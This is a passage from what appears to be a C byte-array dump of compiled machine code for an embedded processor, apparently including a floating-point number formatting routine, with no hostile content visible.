0x16, 0x43, 0x98, 0x00,
0xbc, 0x12, 0x00, 0x88,
0xf8, 0x16, 0x00, 0x00,
0xbc, 0x07, 0xff, 0xd4,
0xbe, 0x19, 0x00, 0x6c,
0x30, 0x80, 0x00, 0x01,
0xe8, 0x79, 0x01, 0x00,
0xa6, 0x53, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x84, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x10, 0x84, 0x20, 0x00,
0x84, 0x64, 0x18, 0x00,
0xbc, 0x03, 0x00, 0x44,
0xe8, 0x79, 0x01, 0x04,
0x84, 0x64, 0x18, 0x00,
0xbc, 0x23, 0xff, 0x90,
0xe8, 0xd7, 0x00, 0x00,
0x99, 0xfc, 0x38, 0x00,
0x10, 0xbb, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x90,
0x32, 0x73, 0xff, 0xff,
0x32, 0x73, 0xff, 0xff,
0xaa, 0x53, 0xff, 0xff,
0xbe, 0x12, 0xff, 0x48,
0x32, 0x73, 0xff, 0xff,
0xaa, 0x53, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xf0,
0x32, 0x73, 0xff, 0xff,
0xb8, 0x00, 0xff, 0x34,
0x99, 0xfc, 0x38, 0x00,
0x32, 0x73, 0xff, 0xff,
0xb8, 0x10, 0xff, 0x64,
0x32, 0xf7, 0xff, 0xfc,
0xfa, 0x78, 0x00, 0x04,
0xb8, 0x00, 0xff, 0x7c,
0xe8, 0x78, 0x00, 0x04,
0xe8, 0xf6, 0x00, 0x00,
0x30, 0x63, 0xff, 0xff,
0x16, 0x43, 0x98, 0x00,
0xbc, 0x12, 0x00, 0x68,
0xf8, 0x16, 0x00, 0x00,
0xbc, 0x07, 0xfe, 0xec,
0xbc, 0x19, 0x00, 0x4c,
0xe8, 0x79, 0x01, 0x00,
0x30, 0x80, 0x00, 0x01,
0xa6, 0x53, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x84, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x10, 0x84, 0x20, 0x00,
0x84, 0x64, 0x18, 0x00,
0xbc, 0x03, 0x00, 0x24,
0xe8, 0x79, 0x01, 0x04,
0x84, 0x64, 0x18, 0x00,
0xbc, 0x23, 0x00, 0x30,
0xe8, 0xd7, 0x00, 0x00,
0x99, 0xfc, 0x38, 0x00,
0x10, 0xbb, 0x00, 0x00,
0xb8, 0x10, 0xfe, 0xa8,
0x32, 0x73, 0xff, 0xff,
0x99, 0xfc, 0x38, 0x00,
0x32, 0x73, 0xff, 0xff,
0xb8, 0x10, 0xfe, 0x9c,
0x32, 0xf7, 0xff, 0xfc,
0xfa, 0x78, 0x00, 0x04,
0xb8, 0x00, 0xff, 0x9c,
0xe8, 0xb7, 0x00, 0x00,
0x99, 0xfc, 0x38, 0x00,
0x32, 0x73, 0xff, 0xff,
0xb8, 0x10, 0xfe, 0x80,
0x32, 0xf7, 0xff, 0xfc,
0x30, 0x21, 0xff, 0xc0,
0xfb, 0x81, 0x00, 0x38,
0x13, 0x85, 0x00, 0x00,
0xfb, 0x41, 0x00, 0x30,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xc1, 0x00, 0x20,
0xfa, 0xe1, 0x00, 0x24,
0xfb, 0x01, 0x00, 0x28,
0xfb, 0x21, 0x00, 0x2c,
0xfb, 0x61, 0x00, 0x34,
0xfb, 0xa1, 0x00, 0x3c,
0xe8, 0x7c, 0x00, 0x10,
0xe8, 0x86, 0x00, 0x10,
0x13, 0x46, 0x00, 0x00,
0x16, 0x44, 0x18, 0x01,
0xbe, 0x52, 0x02, 0x88,
0x10, 0xa0, 0x00, 0x00,
0x32, 0xc4, 0xff, 0xff,
0x60, 0x76, 0x00, 0x04,
0x32, 0xfc, 0x00, 0x14,
0xcb, 0x77, 0x18, 0x00,
0x32, 0x66, 0x00, 0x14,
0xc8, 0xc3, 0x98, 0x00,
0x10, 0xbb, 0x00, 0x00,
0x13, 0x33, 0x18, 0x00,
0x30, 0xc6, 0x00, 0x01,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0x99, 0x00,
0x13, 0xa3, 0xb8, 0x00,
0xbe, 0x23, 0x02, 0x84,
0x13, 0x03, 0x00, 0x00,
0x10, 0xda, 0x00, 0x00,
0xb9, 0xf4, 0x37, 0x7c,
0x10, 0xbc, 0x00, 0x00,
0xbe, 0x43, 0x02, 0x38,
0x11, 0x40, 0x00, 0x00,
0x11, 0x37, 0x00, 0x00,
0x10, 0x8a, 0x00, 0x00,
0x33, 0x18, 0x00, 0x01,
0xe8, 0xd3, 0x00, 0x00,
0xe8, 0xa9, 0x00, 0x00,
0x32, 0x73, 0x00, 0x04,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0x66, 0xff, 0xff,
0x10, 0x64, 0x18, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa5, 0x03, 0xff, 0xff,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0x85, 0xff, 0xff,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x10, 0xc6, 0x18, 0x00,
0x14, 0x88, 0x20, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0xe6, 0xff, 0xff,
0x10, 0x84, 0x50, 0x00,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x14, 0xa7, 0x28, 0x00,
0x90, 0x64, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x10, 0xa5, 0x18, 0x00,
0xf4, 0x89, 0x00, 0x02,
0xf4, 0xa9, 0x00, 0x00,
0x90, 0x86, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x91, 0x45, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x16, 0x53, 0xc8, 0x03,
0xbe, 0xb2, 0xfe, 0x30,
0x31, 0x29, 0x00, 0x04,
0x60, 0x76, 0x00, 0x04,
0xc8, 0x83, 0xb8, 0x00,
0xbe, 0x24, 0x00, 0x44,
0x10, 0x77, 0x18, 0x00,
0x30, 0x83, 0xff, 0xfc,
0x16, 0x44, 0xb8, 0x03,
0xbc, 0xb2, 0x00, 0x30,
0xe8, 0x63, 0xff, 0xfc,
0xbe, 0x03, 0x00, 0x1c,
0x30, 0x84, 0xff, 0xfc,
0xb8, 0x10, 0x00, 0x20,
0x30, 0x84, 0x00, 0x04,
0xe8, 0x64, 0x00, 0x00,
0xbc, 0x23, 0x00, 0x14,
0x30, 0x84, 0xff, 0xfc,
0x16, 0x44, 0xb8, 0x03,
0xbe, 0x52, 0xff, 0xf0,
0x32, 0xd6, 0xff, 0xff,
0xfa, 0xdc, 0x00, 0x10,
0x10, 0xb8, 0x00, 0x00,
0x10, 0x65, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xeb, 0x01, 0x00, 0x28,
0xeb, 0x21, 0x00, 0x2c,
0xeb, 0x41, 0x00, 0x30,
0xeb, 0x61, 0x00, 0x34,
0xeb, 0x81, 0x00, 0x38,
0xeb, 0xa1, 0x00, 0x3c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x40,
0x11, 0x40, 0x00, 0x00,
0x11, 0x17, 0x00, 0x00,
0x11, 0x33, 0x00, 0x00,
0x10, 0x8a, 0x00, 0x00,
0xe8, 0xa9, 0x00, 0x00,
0xe8, 0xc8, 0x00, 0x00,
0x31, 0x29, 0x00, 0x04,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0x65, 0xff, 0xff,
0x40, 0x78, 0x18, 0x00,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x40, 0xb8, 0x28, 0x00,
0x10, 0x64, 0x18, 0x00,
0x90, 0x83, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0x63, 0xff, 0xff,
0x10, 0xa5, 0x20, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0x86, 0xff, 0xff,
0x14, 0x83, 0x20, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0xe5, 0xff, 0xff,
0x10, 0x84, 0x50, 0x00,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x14, 0xc7, 0x30, 0x00,
0x90, 0x64, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x10, 0xc6, 0x18, 0x00,
0xf4, 0x88, 0x00, 0x02,
0xf4, 0xc8, 0x00, 0x00,
0x90, 0x85, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x91, 0x46, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x91, 0x4a, 0x00, 0x01,
0x16, 0x49, 0xc8, 0x03,
0xbe, 0xb2, 0xfe, 0x28,
0x31, 0x08, 0x00, 0x04,
0xbe, 0x3b, 0xfb, 0x94,
0x30, 0x9d, 0xff, 0xfc,
0x16, 0x44, 0xb8, 0x03,
0xbc, 0xb2, 0x00, 0x2c,
0xe8, 0x7d, 0xff, 0xfc,
0xbe, 0x03, 0x00, 0x18,
0x30, 0x84, 0xff, 0xfc,
0xb8, 0x00, 0x00, 0x1c,
0xe8, 0x64, 0x00, 0x00,
0xbe, 0x23, 0x00, 0x14,
0x30, 0x84, 0xff, 0xfc,
0x16, 0x44, 0xb8, 0x03,
0xbe, 0x52, 0xff, 0xf0,
0x32, 0xd6, 0xff, 0xff,
0xfa, 0xdc, 0x00, 0x10,
0xb8, 0x10, 0xfb, 0x5c,
0x10, 0xda, 0x00, 0x00,
0x30, 0x21, 0xff, 0x78,
0xfa, 0x61, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x64,
0xfb, 0x41, 0x00, 0x70,
0xfb, 0x61, 0x00, 0x74,
0xfb, 0xa1, 0x00, 0x7c,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0xc1, 0x00, 0x60,
0xfb, 0x01, 0x00, 0x68,
0xfb, 0x21, 0x00, 0x6c,
0xfb, 0x81, 0x00, 0x78,
0xfb, 0xc1, 0x00, 0x80,
0xfb, 0xe1, 0x00, 0x84,
0xea, 0xc5, 0x00, 0x24,
0x13, 0xa5, 0x00, 0x00,
0xf9, 0x01, 0x00, 0x98,
0xf9, 0x21, 0x00, 0x9c,
0xf9, 0x41, 0x00, 0xa0,
0x13, 0x46, 0x00, 0x00,
0x13, 0x67, 0x00, 0x00,
0xea, 0xe1, 0x00, 0xa4,
0xbe, 0x16, 0x0b, 0x58,
0x12, 0x76, 0x00, 0x00,
0xe8, 0xf6, 0x00, 0x00,
0xbe, 0x07, 0x00, 0x44,
0x10, 0xc7, 0x00, 0x00,
0xe8, 0x76, 0x00, 0x04,
0xf8, 0x67, 0x00, 0x04,
0xe8, 0x96, 0x00, 0x04,
0x30, 0x60, 0x00, 0x01,
0xa6, 0x44, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x63, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x10, 0x63, 0x18, 0x00,
0xf8, 0x67, 0x00, 0x08,
0xb9, 0xf4, 0x34, 0x2c,
0x10, 0xbd, 0x00, 0x00,
0xe8, 0x7d, 0x00, 0x24,
0xf8, 0x03, 0x00, 0x00,
0xbe, 0x5a, 0x05, 0x6c,
0x30, 0x60, 0x00, 0x01,
0xf8, 0x17, 0x00, 0x00,
0xb0, 0x00, 0x7f, 0xf0,
0xa4, 0x7a, 0x00, 0x00,
0xb0, 0x00, 0x7f, 0xf0,
0xaa, 0x43, 0x00, 0x00,
0xbe, 0x12, 0x05, 0x10,
0x10, 0xba, 0x00, 0x00,
0x10, 0xdb, 0x00, 0x00,
0x13, 0xda, 0x00, 0x00,
0x10, 0xe0, 0x00, 0x00,
0x11, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0x8b, 0xfc,
0x13, 0xfb, 0x00, 0x00,
0xbe, 0x23, 0x00, 0x6c,
0x30, 0x60, 0x00, 0x01,
0xe8, 0x81, 0x00, 0xa0,
0xe8, 0xa1, 0x00, 0xa8,
0xf8, 0x64, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x30, 0x80, 0x01, 0x8c,
0xbe, 0x05, 0x00, 0x18,
0x10, 0x64, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x30, 0x60, 0x01, 0x8d,
0xf8, 0x65, 0x00, 0x00,
0x10, 0x64, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x5c,
0xea, 0xc1, 0x00, 0x60,
0xea, 0xe1, 0x00, 0x64,
0xeb, 0x01, 0x00, 0x68,
0xeb, 0x21, 0x00, 0x6c,
0xeb, 0x41, 0x00, 0x70,
0xeb, 0x61, 0x00, 0x74,
0xeb, 0x81, 0x00, 0x78,
0xeb, 0xa1, 0x00, 0x7c,
0xeb, 0xc1, 0x00, 0x80,
0xeb, 0xe1, 0x00, 0x84,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x88,
0x10, 0xda, 0x00, 0x00,
0x10, 0xbd, 0x00, 0x00,
0x10, 0xfb, 0x00, 0x00,
0x31, 0x01, 0x00, 0x20,
0xb9, 0xf4, 0x3b, 0x4c,
0x31, 0x21, 0x00, 0x1c,
0xf8, 0x61, 0x00, 0x30,
0x90, 0x7a, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0xa4, 0xc3, 0x07, 0xff,
0xbe, 0x06, 0x04, 0x8c,
0x10, 0xbb, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x0f,
0xa4, 0x7a, 0xff, 0xff,
0xeb, 0x01, 0x00, 0x1c,
0xb0, 0x00, 0x3f, 0xf0,
0xa0, 0x83, 0x00, 0x00,
0x10, 0x60, 0x00, 0x00,
0x32, 0x66, 0xfc, 0x01,
0xf8, 0x61, 0x00, 0x34,
0xb0, 0x00, 0x3f, 0xf8,
0x30, 0xe0, 0x00, 0x00,
0x31, 0x00, 0x00, 0x00,
0x10, 0xc5, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0x7f, 0x3c,
0x10, 0xa4, 0x00, 0x00,
0x11, 0x03, 0x00, 0x00,
0x10, 0xa8, 0x00, 0x00,
0xb0, 0x00, 0x3f, 0xd2,
0x30, 0xe0, 0x87, 0xa7,
0xb0, 0x00, 0x63, 0x6f,
0x31, 0x00, 0x43, 0x61,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0x80, 0x3c,
0x10, 0xc4, 0x00, 0x00,
0x11, 0x03, 0x00, 0x00,
0x10, 0xa8, 0x00, 0x00,
0xb0, 0x00, 0x3f, 0xc6,
0x30, 0xe0, 0x8a, 0x28,
0xb0, 0x00, 0x8b, 0x60,
0x31, 0x00, 0xc8, 0xb3,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0x7f, 0x8c,
0x10, 0xc4, 0x00, 0x00,
0x10, 0xb3, 0x00, 0x00,
0x12, 0xc3, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0x8d, 0x50,
0x12, 0xe4, 0x00, 0x00,
0x11, 0x03, 0x00, 0x00,
0x10, 0xa8, 0x00, 0x00,
0xb0, 0x00, 0x3f, 0xd3,
0x30, 0xe0, 0x44, 0x13,
0xb0, 0x00, 0x50, 0x9f,
0x31, 0x00, 0x79, 0xfb,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0x7f, 0xe0,
0x10, 0xc4, 0x00, 0x00,
0x11, 0x43, 0x00, 0x00,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xd7, 0x00, 0x00,
0x10, 0xea, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0x7f, 0x38,
0x11, 0x04, 0x00, 0x00,
0x12, 0xc3, 0x00, 0x00,
0x12, 0xe4, 0x00, 0x00,
0x10, 0xc4, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0x8e, 0x8c,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xb6, 0x00, 0x00,
0xf8, 0x61, 0x00, 0x48,
0x10, 0xe0, 0x00, 0x00,
0x11, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0x8c, 0x28,
0x10, 0xd7, 0x00, 0x00,
0xbc, 0x43, 0x0d, 0x00,
0xe8, 0x61, 0x00, 0x48,
0x30, 0xa0, 0x00, 0x01,
0xf8, 0xa1, 0x00, 0x44,
0x22, 0x40, 0x00, 0x16,
0x16, 0x43, 0x90, 0x03,
0xbe, 0x52, 0x00, 0x4c,
0x60, 0x63, 0x00, 0x08,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xe3, 0x02, 0x54,
0xb0, 0x00, 0x00, 0x01,
0xe9, 0x03, 0x02, 0x58,
0x10, 0xbe, 0x00, 0x00,
0x10, 0x80, 0x00, 0x00,
0xf8, 0x81, 0x00, 0x44,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0x8b, 0xe0,
0x10, 0xdf, 0x00, 0x00,
0xbe, 0xa3, 0x00, 0x20,
0x14, 0x73, 0xc0, 0x00,
0xe8, 0xa1, 0x00, 0x48,
0x10, 0x60, 0x00, 0x00,
0xf8, 0x61, 0x00, 0x44,
0x30, 0xa5, 0xff, 0xff,
0xf8, 0xa1, 0x00, 0x48,
0x14, 0x73, 0xc0, 0x00,
0x30, 0xe3, 0xff, 0xff,
0xbe, 0x47, 0x0c, 0x80,
0x10, 0x80, 0x00, 0x00,
0xf8, 0xe1, 0x00, 0x3c,
0xf8, 0x81, 0x00, 0x58,
0xe8, 0x61, 0x00, 0x48,
0xbe, 0x43, 0x0c, 0x48,
0x10, 0xa0, 0x00, 0x00,
0xe8, 0x81, 0x00, 0x3c,
0xf8, 0x61, 0x00, 0x38,
0x10, 0x84, 0x18, 0x00,
0xf8, 0x81, 0x00, 0x3c,
0xf8, 0xa1, 0x00, 0x54,
0xe8, 0x81, 0x00, 0x98,
0x22, 0x40, 0x00, 0x09,
0x16, 0x44, 0x90, 0x03,
0xbe, 0xb2, 0x05, 0x54,
0x10, 0xa0, 0x00, 0x00,
0xf8, 0xa1, 0x00, 0x98,
0x32, 0x60, 0x00, 0x01,
0x10, 0x80, 0x00, 0x00,
0x12, 0xe4, 0x00, 0x00,
0x30, 0xa0, 0xff, 0xff,
0x30, 0x60, 0x00, 0x01,
0xf8, 0x81, 0x00, 0x9c,
0xf8, 0xa1, 0x00, 0x4c,
0xf8, 0xa1, 0x00, 0x50,
0xf8, 0x61, 0x00, 0x40,
0xea, 0xdd, 0x00, 0x24,
0xf8, 0x16, 0x00, 0x04,
0xe8, 0xd6, 0x00, 0x04,
0xb9, 0xf4, 0x31, 0x8c,
0x10, 0xbd, 0x00, 0x00,
0xe8, 0x9d, 0x00, 0x24,
0xf8, 0x76, 0x00, 0x00,
0xe8, 0x84, 0x00, 0x00,
0xf8, 0x81, 0x00, 0x2c,
0xbc, 0x13, 0x03, 0x0c,
0xbc, 0x17, 0x03, 0x08,
0xe8, 0x61, 0x00, 0x48,
0xbe, 0x63, 0x0a, 0x44,
0x10, 0x83, 0x00, 0x00,
0xa4, 0x63, 0x00, 0x0f,
0x60, 0x63, 0x00, 0x08,
0x92, 0x64, 0x00, 0x01,
0x92, 0x73, 0x00, 0x01,
0x92, 0x73, 0x00, 0x01,
0x92, 0x73, 0x00, 0x01,
0xa4, 0x93, 0x00, 0x10,
0xb0, 0x00, 0x00, 0x01,
0xeb, 0x03, 0x02, 0x54,
0xb0, 0x00, 0x00, 0x01,
0xeb, 0x23, 0x02, 0x58,
0xbe, 0x04, 0x00, 0x3c,
0x33, 0x80, 0x00, 0x02,
0x10, 0xdf, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xe0, 0x03, 0x3c,
0xb0, 0x00, 0x00, 0x01,
0xe9, 0x00, 0x03, 0x40,
0x10, 0xbe, 0x00, 0x00,
0xa6, 0x73, 0x00, 0x0f,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0x84, 0x90,
0x33, 0x80, 0x00, 0x03,
0x10, 0xc3, 0x00, 0x00,
0x13, 0x64, 0x00, 0x00,
0x13, 0x46, 0x00, 0x00,
0xbe, 0x13, 0x00, 0x50,
0x10, 0xdb, 0x00, 0x00,
0x12, 0xc0, 0x00, 0x00,
0xa4, 0x73, 0x00, 0x01,
0xbe, 0x03, 0x00, 0x30,
0x10, 0xb8, 0x00, 0x00,
0x10, 0xd9, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xf6, 0x03, 0x1c,
0xb0, 0x00, 0x00, 0x01,
0xe9, 0x16, 0x03, 0x20,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0x7d, 0xe0,
0x33, 0x9c, 0x00, 0x01,
0x13, 0x03, 0x00, 0x00,
0x13, 0x24, 0x00, 0x00,
0x92, 0x73, 0x00, 0x01,
0xbe, 0x33, 0xff, 0xc8,
0x32, 0xd6, 0x00, 0x08,
0x10, 0xdb, 0x00, 0x00,
0x10, 0xba, 0x00, 0x00,
0x10, 0xf8, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0x84, 0x20,
0x11, 0x19, 0x00, 0x00,
0x10, 0xc3, 0x00, 0x00,
0x13, 0x64, 0x00, 0x00,
0x13, 0x46, 0x00, 0x00,
0xe8, 0x61, 0x00, 0x44,
0xbe, 0x03, 0x00, 0x24,
0x10, 0xba, 0x00, 0x00,
0xb0, 0x00, 0x3f, 0xf0,
0x30, 0xe0, 0x00, 0x00,
0x31, 0x00, 0x00, 0x00,
